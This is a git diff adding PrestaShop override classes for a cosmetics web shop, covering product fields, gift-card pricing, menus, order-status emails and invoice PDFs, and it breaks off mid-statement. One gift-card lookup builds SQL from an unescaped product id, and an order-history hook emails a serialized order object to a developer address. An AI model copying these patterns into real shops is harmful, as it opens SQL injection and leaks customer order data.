'online_only' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'ecotax' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice'), + 'minimal_quantity' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'price' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice', 'required' => true), + 'wholesale_price' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice'), + 'unity' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isString'), + 'unit_price_ratio' => array('type' => self::TYPE_FLOAT, 'shop' => true), + 'additional_shipping_cost' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice'), + 'customizable' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'text_fields' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'uploadable_files' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'active' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'redirect_type' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isString'), + 'id_product_redirected' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId'), + 'available_for_order' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'available_date' => array('type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'), + 'condition' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isGenericName', 'values' => array('new', 'used', 'refurbished'), 'default' => 'new'), + 'show_price' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'indexed' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'visibility' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isProductVisibility', 'values' => array('both', 'catalog', 'search', 'none'), 'default' => 'both'), + 'cache_default_attribute' => array('type' => self::TYPE_INT, 'shop' => true), + 'advanced_stock_management' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'), + 'date_upd' => array('type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'), + + /* Lang fields */ + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'required' => true, 'size' => 128), + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => true, 'size' => 128), + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'description_short' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + + 'tiroir_1' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'tiroir_2' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'tiroir_3' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'tiroir_4' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'tiroir_5' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'tiroir_6' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'contenu_tiroir_1' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'contenu_tiroir_2' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'contenu_tiroir_3' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'contenu_tiroir_4' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'contenu_tiroir_5' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'contenu_tiroir_6' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'video_1' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'video_2' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + + 'available_now' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'available_later' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'IsGenericName', 'size' => 255), + ), + 'associations' => array( + 'manufacturer' => array('type' => self::HAS_ONE), + 'supplier' => array('type' => self::HAS_ONE), + 'default_category' => array('type' => self::HAS_ONE, 'field' => 'id_category_default', 'object' => 'Category'), + 'tax_rules_group' => array('type' => self::HAS_ONE), + 'categories' => array('type' => self::HAS_MANY, 'field' => 'id_category', 'object' => 'Category', 'association' => 'category_product'), + 'stock_availables' => array('type' => self::HAS_MANY, 'field' => 'id_stock_available', 'object' => 'StockAvailable', 'association' => 'stock_availables'), + ), + ); + + public function checkQty9($qty) + { + if (isset($this->id_product_attribute)) + $id_product_attribute = $this->id_product_attribute; + else + $id_product_attribute = 0; + + return StockAvailable::getQuantityAvailableByProduct($this->id, $id_product_attribute); + } + + /** + * Get product price + * + * @param integer $id_product Product id + * @param boolean $usetax With taxes or not (optional) + * @param integer $id_product_attribute Product attribute id (optional). + * If set to false, do not apply the combination price impact. NULL does apply the default combination price impact. + * @param integer $decimals Number of decimals (optional) + * @param integer $divisor Useful when paying many time without fees (optional) + * @param boolean $only_reduc Returns only the reduction amount + * @param boolean $usereduc Set if the returned amount will include reduction + * @param integer $quantity Required for quantity discount application (default value: 1) + * @param boolean $forceAssociatedTax DEPRECATED - NOT USED Force to apply the associated tax. Only works when the parameter $usetax is true + * @param integer $id_customer Customer ID (for customer group reduction) + * @param integer $id_cart Cart ID. Required when the cookie is not accessible (e.g., inside a payment module, a cron task...) + * @param integer $id_address Customer address ID. Required for price (tax included) calculation regarding the guest localization + * @param variable_reference $specificPriceOutput. + * If a specific price applies regarding the previous parameters, this variable is filled with the corresponding SpecificPrice object + * @param boolean $with_ecotax insert ecotax in price output. + * @return float Product price + */ + public static function getPriceStatic($id_product, $usetax = true, $id_product_attribute = null, $decimals = 6, $divisor = null, $only_reduc = false, $usereduc = true, $quantity = 1, $force_associated_tax = false, $id_customer = null, $id_cart = null, $id_address = null, &$specific_price_output = null, $with_ecotax = true, $use_group_reduction = true, Context $context = null, $use_customer_price = true) + { + $giftcard = Module::getInstanceByName('giftcard'); + if ($giftcard && $giftcard->active) + { + if ((int)$id_product > 0) + { + if ($giftcard->isGiftCard($id_product)) + { + return ((float)GiftCardProduct::getAmount($id_product)); + } + } + } + return (parent::getPriceStatic($id_product, $usetax, $id_product_attribute, $decimals, $divisor, $only_reduc, $usereduc, $quantity, $force_associated_tax, $id_customer, $id_cart, $id_address, $specific_price_output, $with_ecotax, $use_group_reduction, $context, $use_customer_price)); + } + + public function isGiftCardProduct () { + return Product::isGiftCardStatic( $this->id ); + } + + public static function isGiftCardStaticProduct ( $id_product ) { + $sql = 'SELECT id_product FROM `' . _DB_PREFIX_ . 'giftcardproduct` WHERE id_product = '.$id_product; + return Db::getInstance()->getRow($sql); + } + + + public function getImages($id_lang, Context $context = null, $visible = false) + { + if (!$context) + $context = Context::getContext(); + + $sql = 'SELECT image_shop.`cover`, i.`id_image`, il.`legend`, i.`position` + FROM `'._DB_PREFIX_.'image` i + '.Shop::addSqlAssociation('image', 'i').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + WHERE i.`id_product` = '.(int)$this->id.' + '.(($visible) ? ' AND i.active = 1 ' : '').' + ORDER BY `position`'; + return Db::getInstance()->executeS($sql); + } + +} + diff --git a/override/classes/ProductSale.php b/override/classes/ProductSale.php new file mode 100755 index 0000000..568188d --- /dev/null +++ b/override/classes/ProductSale.php @@ -0,0 +1,76 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProductSale extends ProductSaleCore +{ + public static function getBestSalesLight($id_lang, $page_number = 0, $nb_products = 10, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + if ($page_number < 0) $page_number = 0; + if ($nb_products < 1) $nb_products = 10; + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + + $sql = 'SELECT p.id_product, pl.`link_rewrite`, pl.`name`, pl.`description_short`, MAX(image_shop.`id_image`) id_image, il.`legend`, + ps.`quantity` AS sales, p.`ean13`, p.`upc`, cl.`link_rewrite` AS category + FROM `'._DB_PREFIX_.'product_sale` ps + LEFT JOIN `'._DB_PREFIX_.'product` p ON ps.`id_product` = p.`id_product` + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON cl.`id_category` = product_shop.`id_category_default` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').' + WHERE product_shop.`active` = 1 + AND p.`visibility` != \'none\' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + ) + and p.id_category_default!=12 + GROUP BY product_shop.id_product + ORDER BY sales DESC + LIMIT '.(int)($page_number * $nb_products).', '.(int)$nb_products; + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + return false; + + foreach ($result as &$row) + { + $row['link'] = $context->link->getProductLink($row['id_product'], $row['link_rewrite'], $row['category'], $row['ean13']); + $row['id_image'] = Product::defineProductImage($row, $id_lang); + } + return $result; + } +} + diff --git a/override/classes/Tools.php b/override/classes/Tools.php new file mode 100755 index 0000000..93c9224 --- /dev/null +++ b/override/classes/Tools.php @@ -0,0 +1,107 @@ + $hash_length) ? $hash_length : $total; + $total -= $bytes; + for ($i=1; $i < 3; $i++) { + $t1 = microtime(true); + $seed = mt_rand(); + for ($j=1; $j < 50; $j++) { + $seed = sha1($seed); + } + $t2 = microtime(true); + $entropy .= $t1 . $t2; + } + $div = (int) (($t2 - $t1) * 1000000); + if ($div <= 0) { + $div = 400; + } + $rounds = (int) ($msec_per_round * 50 / $div); + $iter = $bytes * (int) (ceil(8 / $bits_per_round)); + for ($i = 0; $i < $iter; $i ++) { + $t1 = microtime(); + $seed = sha1(mt_rand()); + for ($j = 0; $j < $rounds; $j++) { + $seed = sha1($seed); + } + $t2 = microtime(); + $entropy .= $t1 . $t2; + } + $result .= sha1($entropy, true); + } + return substr($result, 0, $length); + } +} \ No newline at end of file diff --git a/override/classes/cache/index.php b/override/classes/cache/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/cache/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/controller/AdminController.php b/override/classes/controller/AdminController.php new file mode 100755 index 0000000..e239f31 --- /dev/null +++ b/override/classes/controller/AdminController.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminController extends AdminControllerCore +{ + public function setMedia() + { + + //die(); + parent::setMedia(); + $this->addJS(_PS_JS_DIR_.'search.js'); + + } +} \ No newline at end of file diff --git a/override/classes/controller/FrontController.php b/override/classes/controller/FrontController.php new file mode 100755 index 0000000..e40f550 --- /dev/null +++ b/override/classes/controller/FrontController.php @@ -0,0 +1,99 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FrontController extends FrontControllerCore +{ + public function setMedia() + { + + // die(); + parent::setMedia(); + $this->addJS(_THEME_JS_DIR_.'tools.js'); + + if ($this->context->getMobileDevice() == false) + { + $this->addjqueryPlugin('fancybox'); + $this->addCSS(_PS_CSS_DIR_.'jquery.fancybox-1.3.4.css', 'all'); // @TODO + $this->addJS(_THEME_JS_DIR_.'jquery.selectBox.min.js'); // @TODO + $this->addCSS(_THEME_CSS_DIR_.'jquery.selectBox.css', 'all'); // @TODO + $this->addJS(_THEME_JS_DIR_.'jquery.custom-scrollbar.js'); // @TODO + $this->addCSS(_THEME_CSS_DIR_.'jquery.custom-scrollbar.css', 'all'); // @TODO + } + + } + public function init() + { + parent::init(); + + $request = strtok($_SERVER['REQUEST_URI'],'?'); + if ($request == '/fr') { + $utm = explode('?', $_SERVER['REQUEST_URI']); + if (isset($utm[1])) { + Tools::redirect('http://www.garancia-beauty.com/fr/?'.$utm[1]); + } + } + + $id_lang=(int)($this->context->cookie->id_lang); + + // if($_SERVER["REMOTE_ADDR"]== "81.57.119.171" || $_SERVER["REMOTE_ADDR"]== "109.22.169.24" || $_SERVER["REMOTE_ADDR"]== "192.168.1.33" || $_SERVER["REMOTE_ADDR"]== "81.242.138.126"){ + + $items_menu=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id` as id_item, + hss.`position`, + hss.`active`, + hssl.`titre`, + hss.`type`, + hss.`id_selected`, + hss.`colonne` + FROM '._DB_PREFIX_.'boixmenugarancia hs + LEFT JOIN '._DB_PREFIX_.'boixmenugarancia_items hss ON (hs.id = hss.id) + LEFT JOIN '._DB_PREFIX_.'boixmenugarancia_items_lang hssl ON (hss.id = hssl.id) + + WHERE hssl.id_lang = '.(int)$id_lang.' + AND hss.`active` = 1 + ORDER BY colonne asc, hss.position asc'); + $this->context->smarty->assign("items_menu",$items_menu); + + $items_menu_image=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id` as id_item, + hssl.`image`, + hss.`position`, + hss.`active`, + hssl.`titre`, + hssl.`url`, + hssl.`legend` + FROM '._DB_PREFIX_.'boixmenugaranciaimage hs + LEFT JOIN '._DB_PREFIX_.'boixmenugaranciaimage_items hss ON (hs.id = hss.id) + LEFT JOIN '._DB_PREFIX_.'boixmenugaranciaimage_items_lang hssl ON (hss.id = hssl.id) + + WHERE hssl.id_lang = '.(int)$id_lang.' AND hss.`active` = 1 + ORDER BY hss.position asc + limit 0,1'); + $this->context->smarty->assign("items_menu_image",$items_menu_image); + + // } + } +} diff --git a/override/classes/controller/ModuleAdminController.php b/override/classes/controller/ModuleAdminController.php new file mode 100755 index 0000000..6729255 --- /dev/null +++ b/override/classes/controller/ModuleAdminController.php @@ -0,0 +1,27 @@ +module_name)) + { + $reflection = new ReflectionClass($this); + $path = explode('/modules/', $reflection->getFileName()); + $path = explode('/', $path[1]); + $this->module_name = $path[0]; + } + + return Translate::getModuleTranslation($this->module_name, $string, $class); + } +} \ No newline at end of file diff --git a/override/classes/controller/ModuleFrontController.php b/override/classes/controller/ModuleFrontController.php new file mode 100755 index 0000000..3ec8056 --- /dev/null +++ b/override/classes/controller/ModuleFrontController.php @@ -0,0 +1,27 @@ +module_name)) + { + $reflection = new ReflectionClass($this); + $path = explode('/modules/', $reflection->getFileName()); + $path = explode('/', $path[1]); + $this->module_name = $path[0]; + } + + return Translate::getModuleTranslation($this->module_name, $string, $class); + } +} \ No newline at end of file diff --git a/override/classes/controller/index.php b/override/classes/controller/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/controller/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/db/index.php b/override/classes/db/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/db/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/exception/index.php b/override/classes/exception/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/exception/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/helper/index.php b/override/classes/helper/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/helper/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/index.php b/override/classes/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/log/index.php b/override/classes/log/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/log/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/module/index.php b/override/classes/module/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/module/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/order/OrderHistory.php b/override/classes/order/OrderHistory.php new file mode 100755 index 0000000..2a2589a --- /dev/null +++ b/override/classes/order/OrderHistory.php @@ -0,0 +1,117 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +class OrderHistory extends OrderHistoryCore +{ + + /** + * @param bool $autodate Optional + * @param array $template_vars Optional + * @param Context $context Optional + * @return bool + */ + public function addWithemail($autodate = true, $template_vars = false, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $order = new Order($this->id_order); + + if (!$this->add($autodate)) + return false; + + $result = Db::getInstance()->getRow(' + SELECT osl.`template`, c.`lastname`, c.`firstname`, osl.`name` AS osname, c.`email`, os.`module_name` + FROM `'._DB_PREFIX_.'order_history` oh + LEFT JOIN `'._DB_PREFIX_.'orders` o ON oh.`id_order` = o.`id_order` + LEFT JOIN `'._DB_PREFIX_.'customer` c ON o.`id_customer` = c.`id_customer` + LEFT JOIN `'._DB_PREFIX_.'order_state` os ON oh.`id_order_state` = os.`id_order_state` + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = o.`id_lang`) + WHERE oh.`id_order_history` = '.(int)$this->id.' AND os.`send_email` = 1'); + if (isset($result['template']) && Validate::isEmail($result['email'])) + { + $topic = $result['osname']; + $data = array( + '{lastname}' => $result['lastname'], + '{firstname}' => $result['firstname'], + '{id_order}' => (int)$this->id_order, + '{order_name}' => $order->getUniqReference() + ); + if ($template_vars) + $data = array_merge($data, $template_vars); + + if ($result['module_name']) + { + $module = Module::getInstanceByName($result['module_name']); + if (Validate::isLoadedObject($module) && isset($module->extra_mail_vars) && is_array($module->extra_mail_vars)) + $data = array_merge($data, $module->extra_mail_vars); + } + + $data['{total_paid}'] = Tools::displayPrice((float)$order->total_paid, new Currency((int)$order->id_currency), false); + $data['{order_name}'] = $order->getUniqReference(); + + $carrier = new Carrier($order->id_carrier, $context->language->id); + $translateTab = array( + '1' => array( + 'no_carrier' => '(Nom du transporteur manquant)', + 'no_number' => '(Numéro de suivi manquant)' + ), + '2' => array( + 'no_carrier' => '(Carrier name missing)', + 'no_number' => '(Shipping number missing)' + ) + ); + + + if (!$order->shipping_number) { + if ($tmp_shipping = Db::getInstance()->getValue('SELECT `tracking_number` FROM `ps_order_carrier` WHERE `id_order` = '. (int)$order->id)) { + $shipping_number = $tmp_shipping; + } else { + $shipping_number = false; + } + } else { + $shipping_number = $order->shipping_number; + } + + if ($this->id_order_state == Configuration::get('PS_OS_SHIPPING') && $shipping_number){ + $data['{followup}'] = str_replace('@', $order->shipping_number, $carrier->url); + $data['{carrier}'] = (!empty($carrier->name))?$carrier->name:$translateTab[$context->language->id]['no_carrier']; + $data['{shipping_number}'] = $order->shipping_number; + } + elseif ($this->id_order_state == Configuration::get('PS_OS_SHIPPING') && !$shipping_number) { + + @mail('thibault@antadis.com', 'Soucis Garancia Transporteur', serialize($order)); + + $data['{carrier}'] = (!empty($carrier->name))?$carrier->name:$translateTab[$context->language->id]['no_carrier']; + $data['{shipping_number}'] = $translateTab[$context->language->id]['no_number']; + } + + if (Validate::isLoadedObject($order)) + Mail::Send((int)$order->id_lang, $result['template'], $topic, $data, $result['email'], $result['firstname'].' '.$result['lastname'], + null, null, null, null, _PS_MAIL_DIR_, false, (int)$order->id_shop); + } + + return true; + } +} \ No newline at end of file diff --git a/override/classes/order/index.php b/override/classes/order/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/order/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/pdf/PDFGenerator.php b/override/classes/pdf/PDFGenerator.php new file mode 100755 index 0000000..01f9032 --- /dev/null +++ b/override/classes/pdf/PDFGenerator.php @@ -0,0 +1,68 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// require_once(_PS_TOOL_DIR_.'tcpdf/config/lang/eng.php'); +// require_once(_PS_TOOL_DIR_.'tcpdf/tcpdf.php'); + +/** + * @since 1.5 + */ +class PDFGenerator extends PDFGeneratorCore +{ + public function render($filename, $display = true) + { + if (empty($filename)) + throw new PrestaShopException('Missing filename.'); + + $this->lastPage(); + + if ($display === true) + $output = 'D'; + elseif ($display === false) + $output = 'S'; + elseif ($display == 'D') + $output = 'D'; + elseif ($display == 'S') + $output = 'S'; + elseif ($display == 'P') + $output = 'P'; + elseif ($display == 'F'){ + // return $this->output('/opt/web/clients/g/garancia/garancia-beauty.com/public_html/upload/'.$filename, 'F'); + if(_forL4_==1){ + // $filename=(int)str_replace('.pdf','',$filename); + $filename="FACT"._forL4IDORDER_.".pdf"; + // echo '
        '.$filename.''; + return $this->output('../L4/PDF/'.$filename, 'F'); + // return $this->output('../upload/'.$filename, 'F'); + }else{ + return $this->output('upload/'.$filename, 'F'); + } + }else + $output = 'I'; + + return $this->output($filename, $output); + } +} diff --git a/override/classes/pdf/index.php b/override/classes/pdf/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/pdf/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/range/Controller.php b/override/classes/range/Controller.php new file mode 100755 index 0000000..27ebaf0 --- /dev/null +++ b/override/classes/range/Controller.php @@ -0,0 +1,359 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +abstract class ControllerCore +{ + /** + * @var Context + */ + protected $context; + + /** + * @var array list of css files + */ + public $css_files = array(); + + /** + * @var array list of javascript files + */ + public $js_files = array(); + + /** + * @var bool check if header will be displayed + */ + protected $display_header; + + /** + * @var string template name for page content + */ + protected $template; + + /** + * @var string check if footer will be displayed + */ + protected $display_footer; + + /** + * @var string check if only content will be displayed + */ + protected $content_only = false; + + /** + * @var bool If ajax parameter is detected in request, set this flag to true + */ + public $ajax = false; + protected $json = false; + protected $status = ''; + + protected $redirect_after = null; + + public $controller_type; + + /** + * check that the controller is available for the current user/visitor + */ + abstract public function checkAccess(); + + /** + * check that the current user/visitor has valid view permissions + */ + abstract public function viewAccess(); + + /** + * Initialize the page + */ + public function init() + { + if (!defined('_PS_BASE_URL_')) + define('_PS_BASE_URL_', Tools::getShopDomain(true)); + if (!defined('_PS_BASE_URL_SSL_')) + define('_PS_BASE_URL_SSL_', Tools::getShopDomainSsl(true)); + } + + /** + * Do the page treatment : post process, ajax process, etc. + */ + abstract public function postProcess(); + + /** + * Display page view + */ + abstract public function display(); + + /** + * Redirect after process if no error + */ + abstract protected function redirect(); + + /** + * Set default media list for controller + */ + abstract public function setMedia(); + + /** + * Get an instance of a controller + * + * @param string $class_name + * @param bool $auth + * @param bool $ssl + */ + public static function getController($class_name, $auth = false, $ssl = false) + { + return new $class_name($auth, $ssl); + } + + public function __construct() + { + if (is_null($this->display_header)) + $this->display_header = true; + + if (is_null($this->display_footer)) + $this->display_footer = true; + + $this->context = Context::getContext(); + $this->context->controller = $this; + // Usage of ajax parameter is deprecated + $this->ajax = 